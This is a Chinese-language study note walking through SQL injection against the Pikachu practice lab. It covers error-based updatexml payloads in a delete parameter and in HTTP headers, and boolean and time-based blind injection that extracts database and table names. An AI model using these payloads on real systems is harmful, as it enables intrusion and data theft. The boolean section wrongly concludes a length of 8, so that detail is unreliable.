一、delete注入
1.截取数据包
2.在id=84的后面进行注入
(注入语句上update,insert几乎相同,但这里要写成url编码格式,空格写成%20或+)
注入语句:
+or+updatexml(1,concat(0x7e,version()),0)
3.之后获取版本号和用户,获取数据几近相同
二、http头部注入
1.首先登陆进去
2.在此界面点击退出进行抓包
黄色部分都可以试试,都可以注入
注入语句:
' or updatexml(1,concat(0x7e,user()),0) or '
三、盲注
概述:在没有回显的情况下,用返回的结果来判断
1.布尔盲注
(1)首先输入 kobe' 返回不存在信息
(2)kobe'# 返回正确信息
(3)分别输入
kobe' and 1=1 # 返回正常
kobe' and 1=2 # 返回错误
可以判断存在字符型注入点
(4)进行数据库长度测试
kobe' and length(database())>=1 #
更改后面的参数来测试数据库名的长度当测试到
kobe' and length(database())>=8 #
返回错误。所以得知数据库长度为8
(5)数据库第一个字母尝试测试
①substr(a,b,c)用法
a是字符串
b是从哪开始
c是截取几个
②因为数据库的第一个字母一般是0-9或a-z,所以挨个进行测试当测试到p时
kobe' and substr(database(),1,1)='p'#
显示出正确信息,表示第一个字母是p
(6)在根据已知数据库知道数据库名,查询表名,最终知道第一个表的第
kobe' and substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1)='h'#
2.时间盲注
时间盲注主要根据响应时间的长短 来判断正确与否,时间注入是利用sleep()或benchmark()等函数让mysql的执行时间变长。时间盲注常用if(a,b,c),与三目运算类似符类似,a是条件,b是a成立时返回值,c是不成立时返回值。
1.首先可以来测试数据库长度,当测试到此
kobe' and if(length(database())>=8,sleep(4),null)#
页面及时响应。可知数据库为7位。
2.测试数据库第一个字符
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
依次对七个字符进行测试。
3.对表名进行测试(和布尔类似)
kobe' and if((substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))='h',sleep(5),null)#